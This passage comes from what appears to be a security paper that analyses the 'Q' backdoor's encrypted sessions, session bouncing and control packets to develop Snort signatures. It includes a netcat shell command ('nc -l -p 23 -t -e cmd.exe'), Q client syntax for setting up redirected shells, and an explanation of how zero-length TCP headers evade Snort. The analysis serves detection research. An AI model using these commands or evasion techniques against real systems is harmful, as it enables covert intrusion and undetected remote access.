0x0020 8018 1920 e829
0000 0101 080a 0012 240b
.....)........$.
0x0030 005e a63b
0100 0000 0100
0000 0100 0000
.^.;............
0x0040 0000 0000 0000 0000 0000 0000 1100 0000
................
22:07:47.041642
192.168.2.130.32917 > 192.168.2.128.1028: P [tcp sum ok] 565:1613(1048) ack
565 win 6432 <nop,nop,timestamp 6202940 1188875> (DF) (ttl 64, id 35750,
len 1100)
0x0000 4500 044c 8ba6
4000 4006 24b3 c0a8 0282
E..L..@.@.$.....
0x0010 c0a8 0280 8095 0404 151a 2fcc c88c 7e55 ........../...~U
0x0020 8018 1920 067e
0000 0101 080a 005e a63c
.....~.......^.<
0x0030 0012 240b
0001 0000 0001
0000 8000 0000 ..$.............
0x0040 0000 0000 0000 0000 0000 0000 08be c71f
................
<snipped for brevity>
0x0440 fb24 e6b2 84cd 0e53
519c b383 .$.....SQ...
22:07:50.392850
0:50:56:eb:22:77 0:50:56:f2:ed:f9 0800 110: 192.168.2.128.1028 >
192.168.2.130.32917: P [tcp sum ok] 565:609(44) ack 1613 win 8384
<nop,nop,timestamp 1189218 6202940> (DF) (ttl 64, id 22575, len 96)
0x0000 4500 0060 582f
4000 4006 5c16 c0a8 0280 E..`X/@.@.\.....
0x0010 c0a8 0282 0404 8095 c88c 7e55 151a 33e4 ..........~U..3.
0x0020 8018 20c0 6bc5
0000 0101 080a 0012 2562
....k.........%b
0x0030 005e a63c
0500 0000 0500 0000 0500 0000 .^.<............
0x0040 0000 0000 0000 0000 0000 0000
0000 1a79 ...............y
0x0050 c989 4bbe 6712 c9ae d047 05e4
74cb c8ae ..K.g....G..t...
22:07:50.399953
192.168.2.130.32917 > 192.168.2.128.1028: . [tcp sum ok] 1613:1613(0) ack
609 win 6432 <nop,nop,timestamp 6203312 1189218> (DF) (ttl 64, id 35751,
len 52)
Figure 17a -
'q' 2.4 encrypted session establishment - command/output + tcpdump trace
Figure 17b is a trace of actual data transfer from a Q v2.4 encrypted shell session - sending across a Unix "id" command and receiving back the result. The data is of course encrypted and there don't appear to be any opportunities for NIDS signature development here.
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
22:27:26.078180
192.168.2.130.32917 > 192.168.2.128.1028: P [tcp sum ok] 1613:1645(32) ack 609 win 6432
<nop,nop,timestamp 6321654 1189218> (DF) (ttl 64, id 35752, len 84)
0x0000 4500 0054 8ba8
4000 4006 28a9 c0a8 0282
E..T..@.@.(.....
0x0010 c0a8 0280 8095 0404 151a 33e4 c88c 7e81 ..........3...~.
0x0020 8018 1920 b5e2
0000 0101 080a 0060 75f6
.............`u.
0x0030 0012 2562
43dc fb1f 56e8 ccfd a480 52be ..%bC...V.....R.
0x0040 7052 4f54 8851 e269 ffb5 cb3b
1891 59c9 pROT.Q.i...;..Y.
0x0050 ac64 029b .d..
22:27:26.078949
192.168.2.128.1028 > 192.168.2.130.32917: . [tcp sum ok] 609:609(0) ack 1645 win 8384 <nop,nop,timestamp
1306787 6321654> (DF) (ttl 64, id 22576, len 52)
22:27:26.219081
192.168.2.128.1028 > 192.168.2.130.32917: P [tcp sum ok] 609:713(104) ack
1645 win 8384 <nop,nop,timestamp 1306800 6321654> (DF) (ttl 64, id 22577,
len 156)
0x0000 4500 009c 5831
4000 4006 5bd8 c0a8 0280
E...X1@.@.[.....
0x0010 c0a8 0282 0404 8095 c88c 7e81 151a 3404 ..........~...4.
0x0020 8018 20c0 aa15
0000 0101 080a 0013 f0b0
................
0x0030 0060 75f6
8c40 63cd 31a3 0d2c 1d4e f30f .`u..@c.1..,.N..
0x0040 a8bc e372 3ef7 738e d530 daed
2c7f a860 ...r>.s..0..,..`
0x0050 49d5 a47c d255 c54b 1313 0402
71de 8f2f I..|.U.K....q../
0x0060 5807 c534 0328 b8e1 c91a 3600
4d5f 6ba4 X..4.(....6.M_k.
0x0070 22dd 8244 96c3 37e2 edf2 72a0
85b9 79a4 "..D..7...r...y.
0x0080 0fd4 b2d3 9788 2b2c 1cd5 fa9b
09df 3b2b ......+,......;+
0x0090 0487 bcc2 0000 0000 0000
0000 ............
22:27:26.497066
192.168.2.130.32917 > 192.168.2.128.1028: . [tcp sum ok] 1645:1645(0) ack
713 win 6432 <nop,nop,timestamp 6321689 1306800> (DF) (ttl 64, id 35753,
len 52)
Figure 17b -
'q' 2.4 encrypted session - command/output + tcpdump trace
Next we set up a Q2.4 session bouncer/redirector. This will spawn a port listener process on our target (192.168.2.128 - the one running qd) and redirect any sessions on to a 3rd party (192.168.2.1). Firstly, we set up a netcat shell on 192.168.2.1 using the command "nc -l -p 23 -t -e cmd.exe". Next, we request that qd spawn the session bouncer - refer to Figure 18 for the syntax. The tcpdump trace has been omitted this time, as the content is well encrypted and adds nothing more to this discussion.
./qs
-p 888 -B "192.168.2.1 23" 192.168.2.128
[*] request: bouncer,
listening port 888, dest ip 192.168.2.1, dest port 23
[*] sending control packet to
192.168.2.128 (encrypted)
Figure 18 -
Requesting a session bouncer/redirector using qs v2.4
Moving on, Figure 19 shows the syntax for establishing the bounced session (to 192.168.2.1 port 23) via 192.168.2.128 port 888. 192.168.2.128 is a Red Hat Linux 7.3 host and 192.168.2.1 is obviously Microsoft Windows XP. Notice that the packets sent to port 888 on 192.168.2.128 are indeed forwarded on to 192.168.2.1 port 23, and replies follow the same path. Traffic between the Q client and server is encrypted. This would be a very useful hacker's tool, allowing our villain to establish a long chain of encrypted, bounced sessions with ease to help maintain anonymity and lessen the risk of being traced and caught. I have noticed though, that the session is prone to producing some pretty serious corruption, and needs further debugging to be entirely useful for complex tasks.
Examining the tcpdump trace, you will see a familiar pattern emerging during the authentication phase. Concentrating on the payload starting at packet offset 0x34, you initially see the client send what appears to be a 24 byte header "8000 0000 8000 0000 8000 0000 0000 0000 0000 0000 0000 0000" to the server (followed by 512 bytes of encrypted data). This header is echoed back in the reply. Next, the client sends another header "0100 0000 0100 0000 0100 0000 0000 0000 0000 0000 0000 0000" along with "1100 0000". All of this is echoed back unchanged. The next exchange from client to server sends the header "0001 0000 0001 0000 8000 0000 0000 0000 0000 0000 0000 0000" along with 1024 bytes of additional data (probably the hashed encryption key). In this case though, the response header returned is "0500 0000 0500 0000 0500 0000 0000 0000 0000 0000 0000 0000", along with 20 bytes of additional data. This looks to be the best opportunity yet for development of NIDS signatures, so long as some portion of these exchanges is repeatable when different RSA bit strengths and different hashing algorithms are used. We'll look into that next.
# ./q -l 888 192.168.2.128
...+++++
..+++++
[connected to
192.168.2.128:888]
Microsoft Windows XP [Version
5.1.2600]
(C) Copyright 1985-2001
Microsoft Corp.
C:\Documents and
Settings\c679055>
<3-way handshake removed
for brevity>
23:01:11.128885
192.168.2.130.32920 > 192.168.2.128.888: P 1:537(536) ack 1 win 5840
0x0000 4500 024c 96d5
4000 4006 1b84 c0a8 0282
E..L..@.@.......
0x0010 c0a8 0280 8098 0378 e2bc 3092 9108 0b49 .......x..0....I
0x0020 8018 16d0 a767
0000 0101 080a 0063 a644
.....g.......c.D
0x0030 0017 0790
8000 0000 8000
0000 8000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 8b9e 7d79
..............}y
<snipped for brevity>
0x0240 4f3a 9cad b392 e6b1
0393 cc75 O:.........u
23:01:10.923378
192.168.2.128.888 > 192.168.2.130.32920: P 1:537(536) ack 537 win 6432
0x0000 4500 024c 0cda
4000 4006 a57f c0a8 0280
E..L..@.@.......
0x0010 c0a8 0282 0378 8098 9108 0b49 e2bc 32aa .....x.....I..2.
0x0020 8018 1920 d5c1
0000 0101 080a 0017 0797
................
0x0030 0063 a644
8000 0000 8000
0000 8000 0000 .c.D............
0x0040 0000 0000 0000 0000 0000 0000 d742 f293
.............B..
<snipped for brevity>
0x0240 6540 7718 fce2 2679
ed5b 1fa4
e@w...&y.[..
23:01:10.925139
192.168.2.130.32920 > 192.168.2.128.888: P 537:565(28) ack 537 win 6432
0x0000 4500 0050 96d7
4000 4006 1d7e c0a8 0282
E..P..@.@..~....
0x0010 c0a8 0280 8098 0378 e2bc 32aa 9108 0d61 .......x..2....a
0x0020 8018 1920 dce3
0000 0101 080a 0063 a650
.............c.P
0x0030 0017 0797
0100 0000 0100
0000 0100 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 1100 0000
................
23:01:10.934707
192.168.2.128.888 > 192.168.2.130.32920: P 537:565(28) ack 565 win 6432
0x0000 4500 0050 0cdc
4000 4006 a779 c0a8 0280
E..P..@.@..y....
0x0010 c0a8 0282 0378 8098 9108 0d61 e2bc 32c6 .....x.....a..2.
0x0020 8018 1920 dcc6
0000 0101 080a 0017 0798
................
0x0030 0063 a650
0100 0000 0100
0000 0100 0000 .c.P............
0x0040 0000 0000 0000 0000 0000 0000 1100 0000
................
23:01:10.972862 192.168.2.130.32920
> 192.168.2.128.888: P 565:1613(1048) ack 565 win 6432 0x0000 4500 044c 96d8
4000 4006 1981 c0a8 0282
E..L..@.@.......
0x0010 c0a8 0280 8098 0378 e2bc 32c6 9108 0d7d .......x..2....}
0x0020 8018 1920 0b76
0000 0101 080a 0063 a654
.....v.......c.T
0x0030 0017 0798
0001 0000 0001
0000 8000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 13ed 940d
................
<snipped for brevity>
0x0440 10ce 718b abb4 73f1
d88b 8b73 ..q...s....s
23:01:14.322073
192.168.2.128.888 > 192.168.2.130.32920: P 565:609(44) ack 1613 win 8384 0x0000
4500 0060 0cde 4000 4006 a767 c0a8 0280 E..`..@.@..g....
0x0010 c0a8 0282 0378 8098 9108 0d7d e2bc 36de .....x.....}..6.
0x0020 8018 20c0 6063
0000 0101 080a 0017 08eb
....`c..........
0x0030 0063 a654
0500 0000 0500
0000 0500 0000 .c.T............
0x0040 0000 0000 0000 0000 0000 0000 0000 1a79
...............y
0x0050 c989 4bbe 6712 c9ae
d047 05e4 74cb c8ae ..K.g....G..t...
23:01:14.353521
192.168.2.128.1027 > 192.168.2.1.23: S
2447039563:2447039563(0) win 5840
23:01:14.355601
192.168.2.1.23 > 192.168.2.128.1027: S
3431329819:3431329819(0) ack 2447039564
win 17520
23:01:14.356279
192.168.2.128.1027 > 192.168.2.1.23: . 1:1(0) ack 1 win 5840
23:01:14.398443
192.168.2.1.23 > 192.168.2.128.1027: P 1:119(118) ack 1 win 17520
0x0000 4500
00aa 0d01 4000 8006 677b c0a8 0201 E.....@...g{....
0x0010 c0a8 0280 0017 0403 cc85 f01c 91da dc4c ...............L
0x0020 8018 4470 bce5
0000 0101 080a 0007 f9f1
..Dp............
0x0030 0017 08ee
4d69 6372 6f73 6f66 7420 5769 ....Microsoft.Wi
0x0040 6e64 6f77 7320 5850 205b 5665
7273 696f ndows.XP.[Versio
0x0050 6e20 352e 312e 3236 3030 5d0d
0a28 4329 n.5.1.2600]..(C)
0x0060 2043 6f70 7972 6967 6874 2031
3938 352d .Copyright.1985-
0x0070 3230 3031 204d 6963 726f 736f
6674 2043 2001.Microsoft.C
0x0080 6f72 702e 0d0a 0d0a 433a 5c44
6f63 756d orp.....C:\Docum
0x0090 656e 7473 2061 6e64 2053 6574
7469 6e67 ents.and.Setting
0x00a0 735c 6336 3739 3035 353e s\c679055>
23:01:14.421704
192.168.2.128.888 > 192.168.2.130.32920: P 609:745(136) ack 1613 win 8384
0x0000 4500
00bc 0cdf 4000 4006 a70a c0a8 0280 E.....@.@.......
0x0010 c0a8 0282 0378 8098 9108 0da9 e2bc 36de .....x........6.
0x0020 8018 20c0 424d
0000 0101 080a 0017 08f5
....BM..........
0x0030 0063 a7b8
9960 5468 7737 066f 507c 786c .c...`Thw7.oP|xl
0x0040 0123 3a32 07d2 dc32 da54 86e1
47ab 9e1d .#:2...2.T..G...
0x0050 965d 2427 4818 05f7 79eb d7c9
6fe9 e6d6 .]$'H...y...o...
0x0060 ad85 92b4 6d8e ee97 169b aacf
2599 0f96 ....m.......%...
0x0070 2404 2917 3304 2849 1dc1 22ec
17a5 1474 $.).3.(I.."....t
0x0080 49fc 538b 999a 3186 2ca8 e367
c36d 5a62 I.S...1.,..g.mZb
0x0090 d2f5 10c7 c981 9003 099f ef08
93b7 6975 ..............iu
0x00a0 397d f470 fbfd 65e2 a7b3 8335
a1eb 3ef5 9}.p..e....5..>.
0x00b0 f465 51c5 0000 0000 0000
0000 .eQ.........
Figure 19
- Q v2.4 redirected session command/output + tcpdump trace
During the
authentication phase of a Q2.4 encrypted session, the content of the 1st
exchange header seems to depend upon the RSA bit strength selected via "#define Q_RSABITS"
in the "conf.h" file. The
examples in Figures 17a and 19 used the default of 4096. Using the minimum value of 1536 with any
algorithm produced the following header values: "3000 0000 3000 0000 3000
0000 0000 0000 0000 0000 0000 0000".
Basically, all the 8's are now 3's instead. The 2nd exchange from client to server always uses the
following values, regardless of hashing algorithm or bit strength used: "0100 0000 0100
0000 0100 0000 0000 0000 0000 0000 0000 0000 1100 0000". This is a definite signature candidate, but
if this exchange is in fact based on a standard RSA key-exchange protocol, we
may have some false-positives as a result, but this may be unavoidable and
acceptable - especially at sites that don't actually make legitimate use of the
mechanism. The reply from server to
client in the 2nd exchange is sometimes the same as the header sent
from client to server, and other times it varies - it's beyond the scope of
this analysis to determine the reasons why, but it doesn't seem to be a good
candidate for a signature at any rate.
The header content for the 3rd
client to server exchange varies depending upon the RSA bit strength specified,
and doesn't appear readily decipherable
The reply from server to client for the 3rd exchange however,
appears to always be "0500 0000 0500 0000 0500 0000 0000 0000 0000 0000
0000 0000 0000" + 20 bytes of hashed data, regardless of
protocol, RSA bit strength specified, or any other variable.
Although Q is not a Trojan out of the box, it could easily be packaged up and deployed as such via email, IRC and so on. This utility however is more likely to be used as part of a hacker's root-kit and deployed as a fairly secure back-door means of accessing an already compromised system. Q is able to disguise its process-names, and uses techniques to communicate from client to server that make it difficult to detect with signature-based NIDS. Particularly in later versions, payloads are well encrypted and would make it impossible for NIDS to monitor malicious traffic that uses Q as a tunnel. Q can also set up session redirection services on a compromised target and use this as a staging point for further attacks. I'd rate the threat from this software as quite high, especially as later versions may be able to run on W32 platforms. The greater threat is not so much from Q itself, but from the techniques it uses to evade NIDS and packet filters. These techniques and others that haven't yet been leaked to the public but are in active use privately, constitute the major threat. We must recognise the need for mechanisms to detect traffic making use of stealth techniques such as these and most of all we must embrace the idea of "Security in Depth".
From arachNIDS[7]:
IDS203
"TROJAN-ACTIVE-Q-TCP"
alert TCP 255.255.255.255/32 any -> $INTERNAL any (msg:
"IDS203/trojan_trojan-active-Q-tcp"; dsize: >1; flags: A;
classtype: system-success; reference: arachnids,203;)
IDS201
"TROJAN-ACTIVE-Q-UDP"
alert UDP 255.255.255.255/32 any -> $INTERNAL any
(msg: "IDS201/trojan_trojan-active-Q-udp"; dsize: >1; classtype:
system-success; reference: arachnids,201;)
IDS202
"TROJAN-ACTIVE-Q-ICMP"
alert ICMP 255.255.255.255/32 any -> $INTERNAL any (msg:
"IDS202/trojan_trojan-active-Q-icmp"; dsize: >1; itype: 0;
classtype: system-success; reference: arachnids,202;)
arachNIDS has a separate rule for each of the 3 protocols that Q control / activation packets use: TCP, UDP and ICMP. They all look for traffic with a source address of 255.255.255.255, any source port, any destination IP address bound for the internal network and any destination port. The payload has to be greater than 1 byte. Additionally, for TCP traffic, the ACK flag only must be set, and for ICMP traffic, the ICMP type must be zero. These signatures are inadequate for a number of reasons. Q always defaults to generating a random source IP address, so these signatures will only catch a pitifully small number of Q control packets, unless the intruder is bold enough to actually specify 255.255.255.255 as the spoofed source address - and this is only possible pre-Q 2.0 versions. Another problem is that Since Q 2.0, the presence or absence of the TCP ACK flag is determined at random, and the same goes for a SYN. These factors further diminish the chances of these rules catching out Q control/activation packets for Q versions >= 2.0.
The standard Snort rules that pertain to Q, found in the "backdoor.rules" file are:
alert tcp 255.255.255.0/24
any -> $HOME_NET any (msg:"BACKDOOR Q access"; flags:A+; dsize:
>1; reference:arachnids,203;
sid:184; classtype:misc-activity; rev:3;)
alert icmp 255.255.255.0/24 any
-> $HOME_NET any (msg:"BACKDOOR SIGNATURE - Q ICMP"; itype: 0;
dsize: >1; reference:arachnids,202; sid:183; classtype:misc-activity; rev:3;)
The standard Snort rules for Q suffer a
similar problem to their arachNIDS cousins.
They specify a source address that could range from 255.255.255.0 to
255.255.255.255, which does increase the chances of catching a randomised
source IP address, but it's still much more likely to ignore real Q traffic
than it is to alert on it. The standard
Snort rules do not include a rule for UDP.
The two rules that do exist both expect a payload greater than one byte
in length and the rule for TCP specifies that the ACK flag (+ optionally, any
other flags) need to be set in order for traffic to trigger those rules. Due to
using "flags:A+", the standard Snort TCP rule will catch more
instances of Q control traffic than the ArachNIDS equivalent, as it allows for
the possibility of a SYN also being set, but doesn't account for the
possibility of only a SYN being set.
All
of these rules concentrate on a subset of possible Q control / activation
traffic only and fail to consider active Q sessions. This is probably because finding anything to trigger on for
versions of Q prior to 2.0 was quite a challenge and Snort is currently not
flexible enough to be able to check all of the required protocol header fields
for control traffic. Q 2.4 however
presents several possibilities, due to its use of the RSA authentication
scheme.
Another
problem I have discovered whilst testing the Snort rules above, is that none
of the above rules that specify TCP as the protocol will ever trigger for Q 2.x
control / activation packets that are based on TCP. This is because the TCP header-length field
is always set to zero in Q 2.x and this confuses Snort - it doesn't know where
the TCP header should end. This
highlights one of the biggest failings of signature-based IDS today - dealing
with software that doesn't follow the rules.
What we need to remember here, is that Q's stealth messenger
"qs" sends data in a format that resembles TCP, UDP, or ICMP, but
which in reality is none of these, and Snort doesn't currently appear to be
able to cater for this.
Next,
I'll discuss what is required to be able to trigger an alert for major
categories of Q traffic and suggest a few signatures where this is
possible. Please note, that due to time
and resource constraints, it was not possible to production test these rules,
so they should be trialled with a fair degree of caution, in case they produce
a lot of false-positives.
Snort is not
capable of checking
for the required TCP reserved bits, and so an effective Snort compatible
signature cannot, at the time of writing, be developed for this type of
packet. The bits that I'm talking about
are illustrated in Figure 20, bolded and with a red border. The capability to
check for static values and non-zero values, in all of the protocol header
fields is required to detect anomalies such as these, which are tell-tale signs
of packet crafting. I thought I might
be able to get around the problem by using the snort "content",
"offset" and "depth" keywords with an "alert ip"
rule and thereby check for values in the malformed TCP header, but Snort
doesn't appear to support the use of the "content" keyword with
"alert ip" - it silently ignores them.
|
IP Packet offset 0x20 |
IP Packet offset 0x24 |
IP Packet offset 0x28 |
IP Packet offset 0x2c |
|||||||||||||||||
|
0 |
1 |
0 |
1 |
0 |
0 |
1 |
0 |
1 |
2 |
URG |
ACK |
PSH |
RST |
SYN |
FIN |
|||||
|
TCP Header Length |
TCP Reserved Bits |
TCP Flags |
||||||||||||||||||
Figure
20 - High-order TCP Reserved bits
For qs versions 2.0 and 2.4, the TCP
header-length field is always zero, but Snort cannot check for this. If it could, this would be an excellent signature. As it is, no packet that has this field set
to zero will trigger any Snort TCP signature whatsoever. This is a huge problem, and right this
moment may be used by the bad guys to evade the Snort IDS and perhaps others
also. The work-around is to use
"Alert IP" instead of "Alert TCP" and run a separate Snort
process using BPF filters, with its own bare-bones configuration file and a
special rules file for q control / activation packets. This strategy will catch all TCP-based Q
control packets, except for "qs -B" (request for session bouncer)
traffic in Q 0.9/1.0, which for some reason doesn't set any of the high-order
TCP reserved bits. Do as follows:
1) Create the file
"/etc/snort/snort-q.conf" with the content:
include /etc/snort/q-control.rules
2) Create the file
"/etc/snort/q-control.rules" as per Figure 21.
3) Run another instance of snort using the
command:
# snort -c /etc/snort/snort-q.conf -A full -q -l
snortlog-q "(tcp[12] & 0xf0 = 0 or tcp[12] & 0x0f != 0)"
This strategy will produce alerts similar to
those shown in Figure 22. If you wanted
to be doubly sure that you had Q 0.9/1.0 control packets, you could set up
Snort rules to search for content, like "(content:
"|3120|" depth: 2)" and "(content:
"|3020|" depth: 2)" to cater for the possibility of a command requesting encryption
or no encryption for a shell (refer to Figure 3). One must remember, though that when qs 0.9/1.0 requests that a
single shell command be executed, there will be no "3120" or
"3030" preceding the command (refer to Figure 10).
alert
TCP any any -> any any (msg: "Possible Q 0.9/1.0 Control/Activation
message"; flags: A;)
alert
IP any any -> any any (msg: "Possible Q 2.x Control/Activation
message";)
Figure 21 - Suggested rules file to catch many TCP-based Q control
messages
[**] [1:0:0] Possible Q 2.x Control/Activation
message [**]
[Priority:
0]
10/22-23:06:46.650604
145.201.13.0:0 -> 192.168.2.128:0
TCP
TTL:220 TOS:0x0 ID:10643 IpLen:20 DgmLen:126
TCP
header truncated
[**] [1:0:0] Possible Q 0.9/1.0 Control/Activation
message [**]
[Priority:
0]
10/22-23:07:03.469253
149.21.7.44:23985 -> 192.168.2.128:31003
TCP
TTL:240 TOS:0x0 ID:12345 IpLen:20 DgmLen:46
***A****
Seq: 0x250538AC Ack: 0x480F310C Win: 0x6216
TcpLen: 20
Figure 22 - Snort output generated by rules in Figure 21
One final possibility is if the IDS could
calculate and confirm the TCP checksum, which is always invalid for Q
control/activation packets. Snort
doesn't have this ability in IDS mode.
Q UDP-based control/activation packets have
nothing unusual about them in any version, except that it's possible that the
source or destination port could sometimes be zero, or rarely, the source IP
could be 255.255.255.255 or even 0.0.0.0. Other standard Snort rules, such as "BAD TRAFFIC udp port 0
traffic" should hopefully alert on the anomalous ports. The existing arachNIDS rule "TROJAN-ACTIVE-Q-UDP"
will account for the 255.255.255.255 address, but there are plenty of other
anomalous addresses that it could choose at random. The best bet is probably to set up rules that check for external
sources that are IANA reserved / RFC1918 private
addresses + some RFC3330 special-use addresses and alert on these (better
still, just block them at the perimeter).
A list of reserved blocks can be found here (entries marked "IANA -
Reserved"): http://www.iana.org/assignments/ipv4-address-space.
RFC3330 can be found here: http://www.landfield.com/rfcs/rfc3330.html. These can be set up in the
"snort.conf" file and an appropriate rules file as per Figure 23,
although I'm not sure what sort of performance detriment this would introduce,
as the list is lengthy. One other catch is that as IANA allocates more
address-blocks to organisations, this list will need to be updated, so as not
to deny service to potentially legitimate users. The other detection possibility is if the NIDS were capable of
checking the validity of the UDP checksum, which is always invalid on Q
control/activation packets. Snort IDS
doesn't support this.
var
OOS_NETS [0.0.0.0/7, 5.0.0.0/8, 7.0.0.0/8, 10.0.0.0/8, 23.0.0.0/8, 27.0.0.0/8,
31.0.0.0/8, 36.0.0.0/7, 39.0.0.0/8, 41.0.0.0/8, 42.0.0.0/8, 58.0.0.0/7,
60.0.0.0/8, 70.0.0.0/7, 72.0.0.0/5, 82.0.0.0/7, 84.0.0.0/6, 88.0.0.0/5,
96.0.0.0/3, 169.254.0.0/16, 172.16.0.0/12, 192.18.0.0/15, 192.168.0.0/16,
197.0.0.0/8, 222.0.0.0/7, 224.0.0.0/3]
alert
TCP $OOS_NETS any -> any any (msg: "TCP with invalid Source IP";)
alert
UDP $OOS_NETS any -> any any (msg: "UDP with invalid Source IP";)
alert
ICMP $OOS_NETS any -> any any (msg: "ICMP with invalid Source
IP";)
Figure 21 - Suggested Snort configuration for alerting on invalid Source
IP addresses
The two older versions of qs tested (0.9,
1.0) were able to specify the ICMP type and code, but regardless of the ICMP
types or codes used, the fields that would be the ICMP echo request/reply
identifier and sequence fields are always set to zero. The identifier field at the very least
should have a non-zero value. This can
be tested for in snort using the rule option "icmp_id:0". Versions
2.0 and 2.4 do not allow the option to choose ICMP type or code, and always
default to type 0, code 0 (echo reply) and randomly generate the identifier and
sequence numbers, but do seem to generate a zero identifier quite often, so
checking for this is better than nothing.
The older versions of qs generate packets with invalid ICMP
checksums. If the IDS were capable of
confirming this value, this could be checked for. Versions of qs >= 2.0 calculate a valid checksum. Another problem with the standard Snort
rules is if you have "icmp-info.rules" enabled, Snort will alert with
"[**] ICMP Echo Reply [**]" before it can match any local rules that
you may have set up using "icmp_id:0" in "local.rules",
because by default, "local.rules" is included last of all. I suggest moving the "include" for
"local.rules" to somewhere near the top of the list in
"snort.conf".
For the earlier versions of Q (using the 'Q' binary) all you can really do is look for strings of trailing 'A's, but this is likely to result in an unacceptable number of false positives. The payload is encrypted and the protocol is capable of tunnelling other traffic, SSH-style, so this is a big issue. The best defence is prevention, by making sure systems are well-patched and that all network and host-based access-controls are as tight as possible, and use host-based IDS to look for signs of unauthorised activity and violations of system integrity. I was not able to get a session working on Q2.0, but was able to capture some authentication packets and could find nothing useful as a signature. Version 2.4 does offer some interesting possibilities with regards to signatures in the session authentication process though. The string that seems to come up the most is the one that appears during the 2nd exchange of authentication data - "0100 0000 0100 0000 0100 0000 0000 0000 0000 0000 0000 0000 1100 0000", closely followed by the last packet sent from server back to client, which seems to indicate acceptance of the client connection - "0500 0000 0500 0000 0500 0000 0000 0000 0000 0000 0000 0000", although this does seem to vary. The snort rules could look something like those in Figure 22.
alert TCP any any -> any
any (msg: "Possible Q 2.x session authentication attempt"; flags:
AP*; content: "|0100 0000 0100 0000 0100 0000 0000 0000 0000 0000 0000
0000 1100 0000|"; depth: 30; sid: 1000004;)
alert TCP any any -> any
any (msg: "Possible Q 2.x session authentication completion"; flags:
AP*; content: "|0500 0000 0500 0000 0500 0000 0000 0000 0000 0000 0000
0000 1100 0000|"; depth: 28; sid: 1000005;)
alert TCP any any -> any
any (msg: "Possible Q 2.x session authentication completion"; flags:
AP*; content: "|0700 0000 0700 0000 0700 0000 0000 0000 0000 0000 0000
0000|"; depth: 28;)
Figure 22 -
Snort rules to alert on Q 2.4 authentication data
In Figure 23, I present some general rules
that I used whilst testing, that would assist in picking up traffic with
anomalous Source IP Address or invalid TCP header-field value combinations. Note that the rules that are commented out
use syntax not currently supported by Snort, but which I feel ought to be
included.
alert
TCP $OOS_NETS any -> any any (msg: "Incoming TCP with invalid Source
IP";)
alert
UDP $OOS_NETS any -> any any (msg: "Incoming UDP with invalid Source
IP";)
alert
ICMP $OOS_NETS any -> any any (msg: "Incoming ICMP with invalid Source
IP";)
#alert
TCP any any -> any any (msg: "TCP with non-zero ACK# on SYN";
flags: S; ack:!0;)
#alert
TCP any any -> any any (msg: "TCP with zero WIN# on SYN"; flags:
S+; window:0;)
alert
TCP any any -> any any (msg: "TCP with zero SEQ# on SYN"; flags:
S+; seq:0;)
alert
TCP any any -> any any (msg: "TCP with zero ACK# on ACK"; flags:
A+; ack:0;)
alert
ICMP any any -> any any (msg: "ICMP echo-reply with zero
identifier#"; icmp_id:0;)
Figure 23 -
Snort rules to alert on invalid addresses and header field combinations
If there is a lesson to be learned from this
paper, it is that you cannot safely assume anything. You cannot assume that just because you have implemented a
network based IDS, that you can be backward with patching, or that the IDS will
even report on the types of malicious traffic that you expect. You cannot assume that IDS signatures are
always correct, or will work as you expect.
You cannot assume that traffic which on the surface looks to be innocent
is not in fact malicious. You must not
underestimate the ingenuity of the bad guys.
Q
is a potentially very capable back-door program that makes use of several techniques
that make its traffic difficult to detect using signature-based IDS. In addition, this study has revealed a
number of shortcomings in Snort's rule options which make it more difficult and
inconvenient than it ought to be to look for certain types of packet crafting,
and as a result, make it quite simple to evade this NIDS in the scenario
presented here. These will no doubt be
addressed in future versions once I make the developers aware of the issue. The real danger is perhaps not from Q
itself, but from other private software which makes use of similar
"stealth" techniques which we don't have signatures for, or for which
simple pattern-matching signatures cannot be developed, due to the nature of
the traffic.
AES. "Advanced Encryption Standard -
Questions and Answers." Jan. 28 2002.
URL: http://csrc.nist.gov/encryption/aes/
(Aug. 28 2002)
Barlow & Thrower. "TFN2K - An
Analysis." Mar. 7 2000.
URL: http://packetstormsecurity.nl/distributed/TFN2k_Analysis-1.3.txt
(Aug. 18 2002)
Dittrich, David. "The "Tribe Flood
Network." distributed denial of service attack tool". Oct. 21 1999.
URL: http://staff.washington.edu/dittrich/misc/tfn.analysis
(Aug. 18 2002)
IANA. "INTERNET PROTOCOL V4 ADDRESS
SPACE." IANA Assignments. Oct. 25 2002
URL: http://www.iana.org/assignments/ipv4-address-space (Oct. 29 2002)
Internet Assigned Numbers Authority.
"INTERNET PROTOCOL V4 ADDRESS SPACE." Aug. 6 2002.
URL: http://www.iana.org/assignments/ipv4-address-space
(Oct. 20 2002)
Internet Society, The. "RFC3330 -
Special-Use IPv4 Addresses." Sep. 2002
URL: http://www.landfield.com/rfcs/rfc3330.html (Oct. 29 2002)
Mixter. "README." and C source
code. Q 0.9 source distribution. Apr. 14 2001.
URL: http://mixter.void.ru/Q-0.9.tgz (Aug. 6 2002)
Mixter. "README." and C source
code. Q 1.0 source distribution. Apr. 14 2001.
URL: http://mixter.void.ru/Q-1.0.tgz (Aug. 6 2002)
Mixter. "README." and C source
code. Q 2.0 source distribution. Apr. 14 2001.
URL: http://mixter.void.ru/Q-2.0.tgz (Aug. 6 2002)
Mixter.
"README." and C source code. Q 2.4 source distribution. Apr. 14 2001.
URL: http://mixter.void.ru/Q-2.4.tgz (Aug. 6 2002)
Mixter. "README." and C source code.
TFN source distribution. Aug. 20 2001.
URL: http://mixter.void.ru/tfn.tgz (Aug. 28 2002)
Mixter. "README." and C source
code. TFN2K source distribution. 14 Apr 2001.
URL: http://mixter.void.ru/tfn2k.tgz (Aug. 28 2002)
NIST. "Announcing the Advanced
Encryption Standard". Nov. 26 2001
URL: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
(Aug. 20 2002)
Roesch, Martin. "snort.conf".
Snort configuration & signatures. Oct. 3 2002
URL: http://www.snort.org/dl/binaries/1.9.0/snort-1.9.0-1snort.i386.rpm (Oct. 20 2002)
Roesch & Green. "Snort Users Manual
Snort Release: 1.9.0.".
URL: http://www.snort.org/docs/writing_rules-1.9.0/ (Oct. 20 2002)
Stevens, W. Richard. "TCP/IP Illustrated,
Volume 1 - The Protocols."
Reading: Addison Wesley Longman, inc, 1994. PP
70, 71, 86, 171
Vision, Max. "TROJAN-ACTIVE-Q-UDP." arachNIDS.
URL: http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids201&view=research
(18 Aug 2002)
